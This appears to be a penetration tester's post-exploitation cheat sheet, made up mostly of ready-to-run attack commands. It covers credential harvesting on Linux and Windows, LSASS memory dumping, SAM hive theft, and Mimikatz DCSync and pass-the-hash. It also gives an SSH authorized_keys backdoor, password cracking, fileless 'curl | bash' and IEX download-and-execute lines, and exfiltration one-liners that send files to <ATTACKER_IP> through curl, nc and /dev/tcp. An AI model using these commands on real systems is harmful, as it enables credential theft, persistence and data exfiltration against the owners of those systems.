echo '[libdefaults]
    default_realm = <DOMAIN>
    dns_lookup_kdc = false
[realms]
    <DOMAIN> = {
        kdc = <DC_FQDN>
    }
[domain_realm]
    .<DOMAIN_LOWER> = <DOMAIN_UPPER>
    <DOMAIN_LOWER> = <DOMAIN_UPPER>
' | sudo tee /etc/krb5.conf

export KRB5CCNAME=<OUTPUT_TGT>
klist
# Get NTLM hash of DC Administrator
impacket-secretsdump -k -no-pass -dc-ip <DC_IP> -just-dc-user Administrator '<DOMAIN>/<DC_HOSTNAME>$'@<TARGET_FQDN>
# gives HASH

evil-winrm ... -H <HASH>

Authentication - Linux

Reference:

See more about… 1. Core Architecture: PAM

Source: Docs > 9 - Notes > Authentication Process - Linux#1-core-architecture-pam

1. Core Architecture: PAM

Pluggable Authentication Modules (PAM) manage the authentication, session setup, and password changes.

  • Key Module: pam_unix.so (Standard Unix auth).
  • Location: /usr/lib/x86_64-linux-gnu/security/
  • Function: Bridges the gap between user input (e.g., passwd command) and flat files (/etc/passwd, /etc/shadow).

Credentials Harvesting

# LINUX: Find Potentially Useful Files
for ext in $(echo ".xls .xls* .xltx .od* .doc .doc* .pdf .pot .pot* .pp*") ; do echo -e "\nFile extension: " $ext ; find / -name *$ext 2>/dev/null | grep -v "lib\|fonts\|share\|core" ; done

# Text files
find /home/* -type f -name "*.txt" -o ! -name "*.*"

# Crontab
cat /etc/crontab
ls -la /etc/cron.*/

# Maybe creds in /home/*/
find /home/ -type f \( -name '.*rc' -o -name '.*history' -o -name 'config.fish' -o -name '.*login' \)
# Browser creds
ls -l .mozilla/firefox/ | grep default
wget https://github.com/unode/firefox_decrypt/raw/refs/heads/main/firefox_decrypt.py
python3 firefox_decrypt.py

# Logs
for i in $(ls /var/log/* 2>/dev/null);do GREP=$(grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null); if [[ $GREP ]];then echo -e "\n#### Log file: " $i; grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null;fi;done

# Config
for ext in .conf .config .cnf; do out=$(find / -name "*$ext" 2>/dev/null | grep -vE "lib|fonts|share|core"); [ -n "$out" ] && echo -e "\nFile extension: $ext" && echo "$out"; done

# Pass in configs
for i in $(find / -name "*.cnf" 2>/dev/null | grep -vE "doc|lib"); do out=$(grep -E "user|password|pass" "$i" 2>/dev/null | grep -v "#"); [ -n "$out" ] && echo -e "\nFile: $i" && echo "$out"; done

# Database
for ext in .sql .db ".*db" ".db*"; do out=$(find / -name "*$ext" 2>/dev/null | grep -vE "doc|lib|headers|share|man"); [ -n "$out" ] && echo -e "\nDB File extension: $ext" && echo "$out"; done

# Code
for ext in .py .pyc .pl .go .jar .c .sh; do out=$(find / -name "*$ext" 2>/dev/null | grep -vE "doc|lib|headers|share"); [ -n "$out" ] && echo -e "\nFile extension: $ext" && echo "$out"; done

Authentication - Windows

Reference:

See more about… Authentication Process - Windows

Source: Docs > 9 - Notes > Authentication Process - Windows

Authentication Process - Windows Authentication Process - Windows

1. Key Processes & Architecture

WinLogon (WinLogon.exe)

  • Role: The “orchestrator.” Intercepts keyboard input (Ctrl+Alt+Del), manages the workstation lock status, and handles password changes.
  • Workflow: Launches LogonUI -> Collects Creds -> Sends to LSASS.
  • Legacy Note (GINA): In older Windows (NT/XP), msgina.dll handled this. Replaced by Credential Providers in modern Windows.

LogonUI (LogonUI.exe)

  • Role: The graphical user interface that asks for the password.
  • Mechanism: Uses Credential Providers (COM Objects/DLLs) to accept different auth types (Password, PIN, Biometrics).

LSASS (%SystemRoot%\System32\Lsass.exe)

  • Role: The “Gatekeeper.” Enforces security policy, validates the password against SAM/AD, and writes to the Event Log.
  • Resources: Microsoft: LSA Architecture

2. Authentication DLLs (The Packages)

These modules live inside LSASS to handle specific tasks.

DLL NameFunction / Description
Lsasrv.dllThe Manager. Enforces policy and chooses the protocol (Negotiate: Kerberos vs NTLM).
Msv1_0.dllLocal / NTLM. Handles non-domain logins and legacy NTLM authentication.
Kerberos.dllDomain. Handles Kerberos ticket requests and validation.
Samsrv.dllSAM Interface. Talks to the local SAM database.
Netlogon.dllNetwork. Handles the secure channel for network logons.
Ntdsa.dllAD Interface. Used to create/manage records in the Registry or AD.

3. Credential Storage Locations

Local Users (SAM)

  • File Path: %SystemRoot%\system32\config\SAM
  • Registry Mount: HKLM\SAM
  • Protection: Partially encrypted by SYSKEY (syskey.exe) to prevent offline extraction.
  • Content: Local user NTLM/LM hashes.
Registry HiveDescription
HKLM\SAMContains password hashes for local user accounts. These hashes can be extracted and cracked to reveal plaintext passwords.
HKLM\SYSTEMStores the system boot key, which is used to encrypt the SAM database. This key is required to decrypt the hashes.
HKLM\SECURITYContains sensitive information used by the Local Security Authority (LSA), including cached domain credentials (DCC2), cleartext passwords, DPAPI keys, and more.

Domain Users (NTDS)

  • File Path: %SystemRoot%\ntds.dit
  • Location: Found only on Domain Controllers.
  • Content: Active Directory database (Users, Groups, Computers, GPOs, Hashes).
  • Sync: Replicates to all DCs (except Read-Only DCs).

Credential Manager (The Vault)

  • Role: Stores saved passwords for RDP, Websites, and Network Shares.
  • Policy.vpol in File Path:
  • %UserProfile%\AppData\Local\Microsoft\Vault\
  • %UserProfile%\AppData\Local\Microsoft\Credentials\
  • %UserProfile%\AppData\Roaming\Microsoft\Vault\
  • %ProgramData%\Microsoft\Vault\
  • %SystemRoot%\System32\config\systemprofile\AppData\Roaming\Microsoft\Vault\

Windows Credential Manager Windows Credential Manager

LSASS

# Remotely dump LSA secrets
netexec smb <TARGET> --local-auth -u <USER> -p <PASSWORD> --lsa
# Remotely dump SAM secrets
netexec smb <TARGET> --local-auth -u <USER> -p <PASSWORD> --sam

Get LSASS memory dump:

  1. Open Task Manager
  2. Select Details > lsass.exe
  3. Right-Click > “Create Dump File”
  4. Move or transfer the file (usually in %TMP%)

# Get LSASS PID
tasklist /fi "IMAGENAME eq lsass.exe"
Get-Process lsass

# Dump
powershell -command "rundll32.exe C:\windows\system32\comsvcs.dll,MiniDump <PID> $env:TMP\crash.dmp full"

# Parse creds/hashes from dump
pypykatz lsa minidump <DUMP_FILE>

Credential Manager

# Backup Stored Creds
rundll32 keymgr.dll,KRShowKeyMgr

---

# List stored creds
cmdkey /list

# Impersonate
runas /savecred /user:<DOMAIN>\<USER> cmd.exe
runas /savecred /user:<DOMAIN>\<USER> powershell.exe

# Run as Other User
runas /netonly /user:<DOMAIN>\<USER> cmd.exe
runas /netonly /user:<DOMAIN>\<USER> powershell.exe

---

\\tsclient\share\mimikatz.exe
privilege::debug
sekurlsa::credman

Creds Harvesting

# https://github.com/AlessandroZ/LaZagne
wget -q https://github.com/AlessandroZ/LaZagne/releases/download/v2.4.7/LaZagne.exe -O lazagne.exe

# MODULES: browsers, sysadmin, memory, windows, chats, mails, wifi
.\lazagne.exe all -oA -output creds

---

# WINDOWS: Search for plaintext creds in files
findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.git *.ps1 *.yml *.xml

Secrets Dumping (SAM)

# ATTACKER: create SMB share

# TARGET: save creds hives
reg.exe save HKLM\SAM "%APPDATA%\sam.save"
reg.exe save hklm\SYSTEM "%APPDATA%\system.save"
reg.exe save hklm\SECURITY "%APPDATA%\security.save"

cd %APPDATA%
move *.save \\<ATTACKER_IP\<SHARE>\

# ATTACKER: extract local NT hashes
impacket-secretsdump -sam sam.save -security security.save -system system.save LOCAL

# 1000 is for NT hashes
hashcat -m 1000 <HASHES> <WORDLIST>
# 2100 is for PBKDF2 (DCC2 hashes for domain)
hashcat -m 2100 <HASHES> <WORDLIST>

# DPAPI creds
mimikatz.exe
dpapi::chrome /in:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Login Data" /unprotect

Hash Defaults of LM or NTLM

Hash ValueTypeMeaning / Context
aad3b435b51404eeaad3b435b51404eeLMEmpty / Disabled. LM is disabled on modern Windows, so this is the placeholder you will see for every user. Ignore it.
31d6cfe0d16ae931b73c59d7e0c089c0NTEmpty String. The user has no password. Common for Guest or Administrator if not enabled/set.

Backdoor Access

via SSH

# ATTACKER
ssh-keygen -f ./target_backdoor_key -N "" -C "service@localhost" && echo "\n\necho '$(cat ./target_backdoor_key.pub)' >> ~/.ssh/authorized_keys\n\n"

# TARGET: !!! RUN COMMAND OUTPUT ABOVE !!!

# ATTACKER
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i ./target_backdoor_key <USER>@<TARGET>

Common Location Paths

🐧 Linux

LocationDescriptionExample
$HOME or ~User’s home directory/home/username
$TMPDIR or $TMPTemporary files directory/tmp
$XDG_CONFIG_HOMEUser’s configuration directory/home/username/.config
$XDG_DATA_HOMEUser’s data directory/home/username/.local/share
$XDG_CACHE_HOMEUser’s cache directory/home/username/.cache
$XDG_RUNTIME_DIRUser’s runtime directory/run/user/1000
/rootRoot user’s home directory/root
/etcSystem configuration directory/etc
/varVariable data directory/var
/usrUser programs and data directory/usr
/optOptional software packages directory/opt
/bootBoot loader files directory/boot
/procProcess and system information directory/proc
/sysSystem and device information directory/sys
/devDevice files directory/dev
/mntMount points for filesystems/mnt
/mediaRemovable media mount points/media
/srvService-specific data directory/srv
/runRuntime variable data directory/run

🪟 Windows

LocationDescriptionExample
%windir%Windows installation directoryC:\Windows
%SystemRoot%Alias for %windir%C:\Windows
%ProgramFiles%Default directory for 64-bit programsC:\Program Files
%ProgramFiles(x86)%Default directory for 32-bit programs on 64-bit systemsC:\Program Files (x86)
%CommonProgramFiles%Default directory for 64-bit common filesC:\Program Files\Common Files
%CommonProgramFiles(x86)%Default directory for 32-bit common files on 64-bit systemsC:\Program Files (x86)\Common Files
%SystemDrive%Drive letter of the system partitionC:
%USERPROFILE%Path to the current user’s profile directoryC:\Users\username
%APPDATA%User’s roaming application data directoryC:\Users\username\AppData\Roaming
%LOCALAPPDATA%User’s local application data directoryC:\Users\username\AppData\Local
%TEMP% or %TMP%User’s temporary files directoryC:\Users\username\AppData\Local\Temp
%HOMEDRIVE%Drive letter of the user’s home directoryC:
%HOMEPATH%Path to the user’s home directory\Users\username
%PATH%Semicolon-separated list of executable search pathsC:\Windows;C:\Windows\System32
%PATHEXT%Semicolon-separated list of executable file extensions.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
%PUBLIC%Path to the public user directoryC:\Users\Public
%USERNAME%The name of the current userusername
%COMPUTERNAME%The name of the computerDESKTOP-XXXXXX

Cracking Passwords

# Give JtR and hashcat --format code
hashid -jm '<HASH>'

# Create wordlist from website
# e.g. make all words lowercase, spider down the website X, and choose only word certain legth Y or more
cewl --lowercase -d <SPIDER_DEPTH> -m <MIN_WORD_LENGTH>  -w <WORDLIST_FILENAME>

Username Generation

# GOOGLE DORK: Find emails and user name scheme
site:<DOMAIN> "@<DOMAIN>"

# Generate different common permutations of usernames
git clone https://github.com/urbanadventurer/username-anarchy && cd username-anarchy
./username-anarchy -i <USERNAMES>

in Files

# Find all JtR Utilities
sudo updatedb && locate '*2john' | grep -v 'pycache'

# Zip
zip2john <ZIP_FILE> > hash_zip.txt

# RAR
rar2john <RAR_FILE> > hash_rar.txt

# Office docs
office2john <OFFICE_FILE> > hash_office.txt

# PDF
pdf2john <PDF_FILE> > hash_pdf.txt

# Bitlocker
bitlocker2john -i <VHD_FILE> > pre_hash_vhd.txt
grep "bitlocker\$0" pre_hash_vhd.txt > hash_crackme_vhd.txt
hashcat -a 0 -m 22100 hash_crackme_vhd.txt <WORDLIST>

# Mount w/ Bitlocker
sudo apt install -y dislocker
sudo mkdir -p /media/{bitlocker,bitlockermount}
sudo losetup -f -P Backup.vhd
ls -la /dev/loop*
sudo dislocker /dev/<LOOP_DEV> -u<PASSWORD> -- /media/bitlocker
sudo mount -o loop /media/bitlocker/dislocker-file /media/bitlockermount

# SSH: find Private Keys
grep -rnE '^\-{5}BEGIN [A-Z0-9]+ PRIVATE KEY\-{5}$' /* 2>/dev/null
# See if private key is password protected
ssh-keygen -yf <PRIVKEY>
# Get hash of key
ssh2john <PRIVKEY> > ssh.hash

# OpenSSL
while read p; do
    openssl enc -aes-256-cbc -d -in <ENC_FILE> -k "$p" 2>/dev/null | tar xz 2>/dev/null
    if [ $? -eq 0 ]; then
        echo "Success! Password is: $p"
        break
    fi
done < <WORDLIST>

Common Hash Values

Hash ValueTypeMeaning
d41d8cd98f00b204e9800998ecf8427eMD5Empty String (0 byte input)
da39a3ee5e6b4b0d3255bfef95601890afd80709SHA1Empty String (0 byte input)
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855SHA256Empty String (0 byte input)

Create Custom Permutated Wordlist

# Manually generate keywords or use cewl via OSINT
cat << EOF > keywords.txt
<KEYWORDS>
EOF

# c - Capitalize the first character, lowercase the rest
# C - Lowercase the first character, uppercase the rest
# t - Toggle the case of all characters in a word
# $! - Appends the character ! to the end 
# $1$9$9$8 - Appends '1998' to the end
# $1$9$9$8$! - Appends '1998!' to the end
# sa@ - Replace all instances of a with @
# so0 - Replace all instances of o with 0
# ss$ - Replace all instances of s with $
cat << EOF > custom.rule
c
C
t                                                                \$!
\$1\$9\$9\$8
\$1\$9\$9\$8\$!
sa@
so0
ss\$
EOF

# Generate permutated wordlist
hashcat --force -r custom.rule keywords.txt  --stdout | sort -u > wordlist.txt

# Crack hash
hashcat -a 0 -m <HASH_ID> -r custom.rule <HASH> wordlist.txt

🔨 John the Ripper

# John attempts to guess the hash type, but specifiying the FORMAT is recommended
john --list=formats

# john --format=NT
# john --format=raw-md5
# john --format=sha512crypt
john --format=<FORMAT> --wordlist=<WORDLIST> <HASH_FILE>

# Single crack mode: makes permutations given a username
unshadow passwd.txt shadow.txt > unshadowed.txt
john --single <UNSHADOW_FILE>

# Dynamically generated wordlist using Markov chains
john --incremental <HASH_FILE>

🔨 Hashcat

Rule Comparison Table

Rule FileRule CountUse Case
best64.rule64First Run. Instant results for easy passwords.
d3ad0ne.rule~34,000Deep Crack. Good for standard “complex” user passwords.
dive.rule~100,000+Paranoid. extremely slow; last resort for dictionary attacks.
# Crack an MD5crypt hash with a salt using Hashcat
hashcat -m 20 <HASH>:<SALT> <WORDLIST>

# Crack a SHA512crypt hash using Hashcat
hashcat -m 1800 hashes.txt <WORDLIST>
# 64 standard password modifications like: appending nums or substituting characters with their "leet" equivalents 
hashcat -m 1800 -r /usr/share/hashcat/rules/best64.rule hashes.txt <WORDLIST>

Mask attack (-a 3) with Charsets

SymbolDescriptionCharset / Definition
?lLowercaseabcdefghijklmnopqrstuvwxyz
?uUppercaseABCDEFGHIJKLMNOPQRSTUVWXYZ
?dDigits0123456789
?hHex (Lower)0123456789abcdef
?HHex (Upper)0123456789ABCDEF
?sSpecial«space»!"#$%&’()*+,-./:;<=>?@[]^_{`
?aAll?l?u?d?s
?bBinary0x00 - 0xff
hashcat -a 3 -m <HASH_ID> <HASH> '?u?l?l?l?l?d?s'

File Transfer

Encryption (for exfiltration)

### === via PowerShell  ===
# https://www.powershellgallery.com/packages/DRTools/4.0.2.3/Content/Functions%5CInvoke-AESEncryption.ps1
Import-Module .\Invoke-AESEncryption.ps1
Invoke-AESEncryption -Mode Encrypt -Key "<PASSWORD>" -Path <FILE>

### === via OpenSSL
# https://docs.openssl.org/1.1.1/man1/enc/
# Encrypt
openssl enc -aes256 -iter 100000 -pbkdf2 -in <IN_FILE> -out <OUT_FILE>
# Decrypt
openssl enc -d -aes256 -iter 100000 -pbkdf2 -in <IN_FILE> -out <OUT_FILE>

### === via WinRAR ===
sudo apt install -y rar
# OR
wget https://www.rarlab.com/rar/rarlinux-x64-612.tar.gz
tar -xzvf rarlinux-x64-612.tar.gz && cd rar && sudo make install

# Double Encrypt
rar a stage1.rar -p <FILENAME>
mv stage1.rar stage1
rar a stage2.rar -p stage1
mv stage2.rar stage2

⬇️ Linux <= Download

### === WEB ===

# Download (FILE)
wget -O <OUTPUT_FILE> <URL>
curl -skLo <OUTPUT_FILE> <URL>

# Download & Execute (FILELESS)
wget -qO- <URL> | python3
curl <URL> | bash

# Create socket
# Bash v2.04+ (compiled w/ --enable-net-redirections
exec 3<>/dev/tcp/<TARGET>/<PORT>
# Send data and read data from socket
echo -e "GET / HTTP/1.1\n\n">&3 ; cat <&3

# Python (FILE)
python2.7 -c 'import urllib;urllib.urlretrieve ("<URL>", "<OUTPUT_FILE>")'
python3 -c 'import urllib.request;urllib.request.urlretrieve("<URL>", "<OUTPUT_FILE>")'

# PHP (FILE)
php -r '$file = file_get_contents("<URL>"); file_put_contents("<OUTPUT_FILE>",$file);'
php -r 'const BUFFER = 1024; $fremote = 
fopen("<URL>", "rb"); $flocal = fopen("<OUTPUT_FILE>", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'
# PHP (FILELESS)
php -r '$lines = @file("<URL>"); foreach ($lines as $line_num => $line) { echo $line; }' | bash

# Ruby
ruby -e 'require "net/http"; File.write("<OUTPUT_FILE>", Net::HTTP.get(URI.parse("<URL>")))'

# Perl
perl -e 'use LWP::Simple; getstore("<URL>", "<OUTPUT_FILE>");'

# --- WEB Encrypted ---

openssl req -newkey rsa:2048 -x509 -nodes -sha256 -subj '/CN=backup' -out server.pem -keyout key.pem
# Host file for download
openssl s_server -quiet -accept <LISTEN_PORT> -cert server.pem -key key.pem < <UPLOAD_FILE>
# Download file
openssl s_client -quiet -connect <TARGET>:<PORT> > <DOWNLOAD_FILE>

### === SSH ===

# ATTACKER BOX: create dummy low priv user
sudo systemctl enable --now ssh
sudo useradd backup -m -d /home/backup -s /usr/sbin/nologin
sudo bash -c 'echo "backup:987!BackupUser!123" | chpasswd'

# TARGET
scp backup@<ATTACKER_IP>:<DOWNLOAD_FILE> <OUTPUT_FILE>

### === BINARY ===

# to/receive file
nc -lvnp <PORT> > <OUTPUT_FILE>
ncat --recv-only -lp <PORT> > <OUTPUT_FILE>

# from/send file
nc -q0 <TARGET> <PORT> < <UPLOAD_FILE>
ncat --send-only <TARGET> <PORT> < <UPLOAD_FILE>
cat <UPLOAD_FILE> > /dev/tcp/<TARGET>/<PORT>

### === COPY&PASTA ===

# ATTACKER BOX: ENCODE
f="<FILE>" ; cat "$f" | base64 -w0 ; echo ; md5sum "$f"

# TARGET: DECODE
echo -n "<BASE64>" | base64 -d > <DECODED_FILE> ; md5sum <DECODED_FILE>

⬆️ Linux => Upload

### === WEB ===

# --- Python3 uploadserver ---

pip3 install --break-system-packages uploadserver

# ATTACKER BOX
openssl req -newkey rsa:2048 -x509 -nodes -sha256 -subj '/CN=backup' -out server.pem -keyout server.pem
mkdir https && cd https
sudo python3 -m uploadserver 443 --server-certificate ~/server.pem

# TARGET
curl --insecure -X POST https://<ATTACKER_IP>/upload -F 'files=@<UPLOAD_FILE>' -F 'files=@<UPLOAD_FILE>'
python3 -c 'import requests;requests.post("https://<ATTACKER_IP>/upload",files={"files":open("<UPLOAD_FILE>","rb")}, verify=False)'

# --- ngninx ---

sudo mkdir -p /var/www/uploads/<UP_DIR>
sudo chown -R www-data:www-data /var/www/uploads/<UP_DIR>
echo 'server {
    listen <LISTEN_PORT>;
    location /<UP_DIR>/ {
        root    /var/www/uploads;
        dav_methods PUT;
    }
}' | sudo tee /etc/nginx/sites-available/upload.conf
sudo ln -fs /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/
# Needed to stop listening on port 80
sudo rm /etc/nginx/sites-enabled/default
sudo systemctl start nginx.service

# Upload file
curl --upload-file <UPLOAD_FILE> http://<TARGET>:<LISTEN_PORT>/<UP_DIR>/<UPLOAD_FILE> 

### === SERVER on TARGET ===

# TARGET
python3 -m http.server <PORT>
python2.7 -m SimpleHTTPServer <PORT>
php -S 0.0.0.0:<PORT>
ruby -run -e httpd . -p <PORT>

# ATTACKER BOX
wget http://<TARGET>:<PORT>

### === SSH ===

# ATTACKER BOX
scp backup@<ATTACKER_IP>:<DOWNLOAD_FILE> <TARGET_LOCATION>

### === BINARY ===

# to/receive file
nc -lvnp <PORT> > <OUTPUT_FILE>
ncat --recv-only -lp <PORT> > <OUTPUT_FILE>

# from/send file
nc -q0 <ATTACKER_IP> <PORT> < <DOWNLOAD_FILE>
ncat --send-only <ATTACKER_IP> <PORT> < <DOWNLOAD_FILE>
cat <DOWNLOAD_FILE> > /dev/tcp/<ATTACKER_IP>/<PORT>

⬆️ Windows => Upload

### === WEB ===

# --- UPLOAD Server ---

pip3 install --break-system-packages uploadserver

python3 -m uploadserver

# https://github.com/juliourena/plaintext/blob/master/Powershell/PSUpload.ps1
Invoke-RestMethod -Uri http://<ATTACKER_IP>:8000/upload -Method POST -Form (New-Object -TypeName System.Collections.Hashtable -Property @{file = Get-Item <UPLOAD_FILE>})

# --- UPLOAD Server ---

# b64 decode from here
nc -lvnp <PORT>

$b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
Invoke-WebRequest -Method POST -Uri http://<ATTACKER_IP>:<PORT>/ -Body $b64

### === SMB ===
# https://github.com/fortra/impacket/blob/master/examples/smbserver.py
impacket-smbserver -smb2support -username <USERNAME> -password <PASSWORD> <SHARE_NAME> <SHARE_PATH>

### === WEBDAV (HTTP) ===
# https://github.com/mar10/wsgidav

sudo pip3 install --break-system-packages wsgidav cheroot

sudo wsgidav --host=0.0.0.0 --port=<PORT> --root=<DIRECTORY> --auth=anonymous

# UPLOAD
Invoke-RestMethod -Uri "http://<ATTACKER_IP>/<SHARE_NAME>/<FILENAME>" -Method POST -Form @{file = Get-Item "<LOCAL_FILE_PATH>"}

### === FTP ===

sudo pip3 install --break-system-packages pyftpdlib

sudo python3 -m pyftpdlib --write --port <SERVER_PORT>

(New-Object Net.WebClient).UploadFile('ftp://<ATTACKER_IP>/<SAVENAME>', '<UPLOAD_FILE>')

# Upload (NON-INTERACTIVELY)
echo open <ATTACKER_IP> > ftpconfig.txt
echo USER anonymous >> ftpconfig.txt
echo binary >> ftpconfig.txt
echo PUT <FILE> >> ftpconfig.txt
echo bye >> ftpconfig.txt

ftp -v -n -s:ftpconfig.txt

### === WinRM ===
# TCP/5985 or 5986
# Windows Remote Management service
# user in "Administrators" or "Remote Management Users"

$Session = New-PSSession -ComputerName <TARGET>
Copy-Item -ToSession $Session -Path <UPLOAD_FILE> -Destination <OUTPUT_FILE>

### === COPY&PASTA ===

# ENCODE: Windows
$f="<UPLOAD_FILE>" ; [Convert]::ToBase64String((Get-Content -path $f -Encoding byte)) ; Get-FileHash $f -Algorithm MD5 | select Hash

# DECODE: Linux
echo -n "<BASE64>" | base64 -d > <DECODED_FILE>.decode ; md5sum *.decode

⬇️ Windows <= Download

### === WEB ===

# HTTP port 80
sudo python3 -m http.server 80

# HTTPS port 443
openssl req -new -x509 -keyout https_server_cert.pem -out https_server_cert.pem -days 365 -nodes

sudo python3 -c "import http.server, ssl;server_address=('0.0.0.0',443);httpd=http.server.HTTPServer(server_address,http.server.SimpleHTTPRequestHandler);httpd.socket=ssl.wrap_socket(httpd.socket,server_side=True,certfile='https_server_cert.pem',ssl_version=ssl.PROTOCOL_TLSv1_2);httpd.serve_forever()"

# Download (FILE)
(New-Object Net.WebClient).DownloadFile('<DOWNLOAD_URL>','<OUTPUT_FILE>')

(New-Object Net.WebClient).DownloadFileAsync('<DOWNLOAD_URL>','<OUTPUT_FILE>')

# Set User-Agent string
$UserAgent = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome
# Web Request
Invoke-WebRequest <DOWNLOAD_URL> -UserAgent $UserAgent -OutFile '<OUTPUT_FILE>'
Invoke-RestMethod <DOWNLOAD_URL> -UserAgent $UserAgent -OutFile '<OUTPUT_FILE>'

# Allow untrusted certs and initialize first-time IE
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
Invoke-WebRequest -UseBasicParsing <DOWNLOAD_URL> -OutFile <OUTPUT_FILE>

# Download & Execute (FILELESS)
IEX (New-Object Net.WebClient).DownloadString('<DOWNLOAD_URL>')

(New-Object Net.WebClient).DownloadString('<DOWNLOAD_URL>') | IEX

# https://lolbas-project.github.io/lolbas/Binaries/Certutil/#download
certutil -URLcache -split -f http://<ATTACKER>/<FILE> C:\Users\<USER>\AppData\Local\Temp\<FILE>
# https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/#download
bitsadmin.exe /transfer /Download /priority Foreground http://<ATTACKER>/<FILE> C:\Users\<USER>\AppData\Local\Temp\<FILE>

# JavaScript wget.js
# https://superuser.com/a/536400
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
# Execute like so:
cscript.exe /nologo wget.js <URL> <OUTPUT_FILE>

# VBScript wget.vbs
# https://stackoverflow.com/a/2973344
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send
with bStrm
    .type = 1
    .open
    .write xHttp.responseBody
    .savetofile WScript.Arguments.Item(1), 2
end with
# Execute like so:
cscript.exe /nologo wget.vbs <URL> <OUTPUT_FILE>

### === SMB ===
# https://github.com/fortra/impacket/blob/master/examples/smbserver.py
impacket-smbserver -smb2support -username <USERNAME> -password <PASSWORD> <SHARE_NAME> <SHARE_PATH>

# WITHOUT password
copy \\<ATTACKER_IP\<SHARE_NAME>\<FILE>
# WITH password
net use <DRIVE_LETTER> \\<ATTACKER_IP\<SHARE_NAME>\ /user:<USER> <PASSWORD>
copy <DRIVE_LETTER>\<FILE>
# https://lolbas-project.github.io/lolbas/Binaries/Findstr/#download
findstr /V thisstringdoesnotexist \\<ATTACKER>\<SHARE>\<FILE> > C:\Users\<USER>\AppData\Local\Temp\<FILE>

### === FTP ===
sudo pip3 install --break-system-packages pyftpdlib

sudo python3 -m pyftpdlib --port <SERVER_PORT>

# Download (FILE)
(New-Object Net.WebClient).DownloadFile('<DOWNLOAD_URL>','<OUTPUT_FILE>')

# Download (NON-INTERACTIVELY)
echo open <ATTACKER_IP> > ftpconfig.txt
echo USER anonymous >> ftpconfig.txt
echo binary >> ftpconfig.txt
echo GET <FILE> >> ftpconfig.txt
echo bye >> ftpconfig.txt

ftp -v -n -s:ftpconfig.txt

### === WinRM ===
# TCP/5985 or 5986
# Windows Remote Management service
# user in "Administrators" or "Remote Management Users"

$Session = New-PSSession -ComputerName <TARGET>
Copy-Item -FromSession $Session -Path <DOWNLOAD_FILE> -Destination <OUTPUT_FILE>

### === COPY&PASTA ===

# ENCODE: Windows
$f="<FILE>" ; [Convert]::ToBase64String((Get-Content -path $f -Encoding byte)) ; Get-FileHash $f -Algorithm MD5 | select Hash
# https://lolbas-project.github.io/lolbas/Binaries/Certutil/#encode
certutil -encode <FILE> <ENCODED_FILE>

# DECODE: Linux
echo "<BASE64>" | base64 -d > <DECODED_FILE>.decode ; md5sum *.decode

Mimikatz

See more about… Mimikatz

Source: Docs > 9 - Notes > mimikatz

Mimikatz is a post-exploitation tool that can extract plaintext passwords, hashes, PINs, and Kerberos tickets from memory. It can also perform pass-the-hash, pass-the-ticket, and build Golden Tickets.

Important Notes

  • Debug Privilege: Most Mimikatz operations require privilege::debug to access LSASS memory
  • Administrator Required: Mimikatz typically needs administrator privileges to function
  • LSASS Access: Many operations read from LSASS memory, which is protected by Windows
  • Detection: Mimikatz is heavily flagged by security products and EDR solutions
  • Pass the Hash: When using sekurlsa::pth, a new window will open - run commands in that new window
  • Golden Tickets: Golden Tickets are valid until the KRBTGT account password is changed (typically 180 days by default)
  • Ticket Files: Exported Kerberos tickets use .kirbi format
  • Domain Syntax: Use “.” for domain when targeting local machine accounts

Basic Usage & Privilege Escalation

# Launch Mimikatz (via SMB share)
\\tsclient\share\mimikatz.exe

# Enable debug privilege (required for most operations)
privilege::debug

# Elevate token to SYSTEM
token::elevate

# Write to console in bae64 (avoid AV flagging)
base64 /out:true

Credential Dumping

LSASS Memory (sekurlsa)

Dump All Credentials:

# VERBOSE: Dumps credentials from all providers (Kerberos, WDigest, MSV, etc.)
sekurlsa::logonpasswords

Dump Specific Hash Types:

# Dumps only LM/NTLM hashes
sekurlsa::msv

Export Kerberos Tickets:

# Avoid AV flagging
base64 /out:true

# Export Kerberos Tickets (TGT/TGS) to disk
sekurlsa::tickets /export
# $ : machine tickets (computers)
# @ : service tickets (users)

Extract AES Keys:

# Extract AES Keys for Pass the Key attacks
.\mimikatz.exe "privilege::debug" "sekurlsa::ekeys" exit

SAM Database

# Dumps local SAM database (local user hashes)
lsadump::sam

LSA Secrets

# Dumps LSA Secrets (cached domain credentials, service account passwords, etc.)
lsadump::lsa /patch

Dump Specific Account:

# Dump specific account (e.g., KRBTGT for Golden Ticket)
lsadump::lsa /inject /name:krbtgt

DCSync (Remote):

# Remotely dump account from Domain Controller
lsadump::dcsync /domain:<DOMAIN> /user:krbtgt

DCSync

Might require runas.

mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:<DOMAIN> /user:<DOMAIN>\<USER>" exit

Pass the Hash (PtH)

Pass the Hash allows you to authenticate using an NTLM hash instead of a plaintext password.

# Use "." for domain if targeting local machine
# IMPORTANT: Run commands inside the NEW window that pops up
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:<USER> /ntlm:<PASS_HASH> /domain:<DOMAIN> /run:cmd.exe" exit

Alternative Syntax:

